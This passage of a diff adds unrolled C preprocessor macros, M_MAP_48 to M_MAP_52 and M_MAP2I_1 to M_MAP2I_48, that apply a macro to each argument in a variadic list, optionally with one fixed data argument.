+#define M_MAP_48(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) 
+#define M_MAP_49(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) 
+#define M_MAP_50(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) 
+#define M_MAP_51(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) f(_51) 
+#define M_MAP_52(f, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(_1) f(_2) f(_3) f(_4) f(_5) f(_6) f(_7) f(_8) f(_9) f(_10) f(_11) f(_12) f(_13) f(_14) f(_15) f(_16) f(_17) f(_18) f(_19) f(_20) f(_21) f(_22) f(_23) f(_24) f(_25) f(_26) f(_27) f(_28) f(_29) f(_30) f(_31) f(_32) f(_33) f(_34) f(_35) f(_36) f(_37) f(_38) f(_39) f(_40) f(_41) f(_42) f(_43) f(_44) f(_45) f(_46) f(_47) f(_48) f(_49) f(_50) f(_51) f(_52) 
+
+
+/* Map a macro to all given arguments with one additional fixed data (non recursive version) */
+/* Example: M_MAP2(f, data, a, b, c) ==> f(data,a) f(data,b) f(data,c) */
+#define M_MAP2(...)        M_MAP2I_0(__VA_ARGS__)
+#define M_MAP2I_0(f, d, ...)  M_C(M_MAP2I_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP2I_1(f, d, _1) f(d, _1) 
+#define M_MAP2I_2(f, d, _1, _2) f(d, _1) f(d, _2) 
+#define M_MAP2I_3(f, d, _1, _2, _3) f(d, _1) f(d, _2) f(d, _3) 
+#define M_MAP2I_4(f, d, _1, _2, _3, _4) f(d, _1) f(d, _2) f(d, _3) f(d, _4) 
+#define M_MAP2I_5(f, d, _1, _2, _3, _4, _5) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) 
+#define M_MAP2I_6(f, d, _1, _2, _3, _4, _5, _6) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) 
+#define M_MAP2I_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) 
+#define M_MAP2I_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) 
+#define M_MAP2I_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) 
+#define M_MAP2I_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) 
+#define M_MAP2I_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) 
+#define M_MAP2I_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) 
+#define M_MAP2I_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) 
+#define M_MAP2I_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) 
+#define M_MAP2I_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) 
+#define M_MAP2I_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) 
+#define M_MAP2I_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) 
+#define M_MAP2I_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) 
+#define M_MAP2I_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) 
+#define M_MAP2I_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) 
+#define M_MAP2I_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) 
+#define M_MAP2I_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) 
+#define M_MAP2I_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) 
+#define M_MAP2I_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) 
+#define M_MAP2I_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) 
+#define M_MAP2I_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) 
+#define M_MAP2I_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) 
+#define M_MAP2I_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) 
+#define M_MAP2I_29(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) 
+#define M_MAP2I_30(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) 
+#define M_MAP2I_31(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) 
+#define M_MAP2I_32(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) 
+#define M_MAP2I_33(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) 
+#define M_MAP2I_34(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) 
+#define M_MAP2I_35(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) 
+#define M_MAP2I_36(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) 
+#define M_MAP2I_37(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) 
+#define M_MAP2I_38(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) 
+#define M_MAP2I_39(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) 
+#define M_MAP2I_40(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) 
+#define M_MAP2I_41(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) 
+#define M_MAP2I_42(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) 
+#define M_MAP2I_43(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) 
+#define M_MAP2I_44(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) 
+#define M_MAP2I_45(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) 
+#define M_MAP2I_46(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) 
+#define M_MAP2I_47(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) 
+#define M_MAP2I_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) 
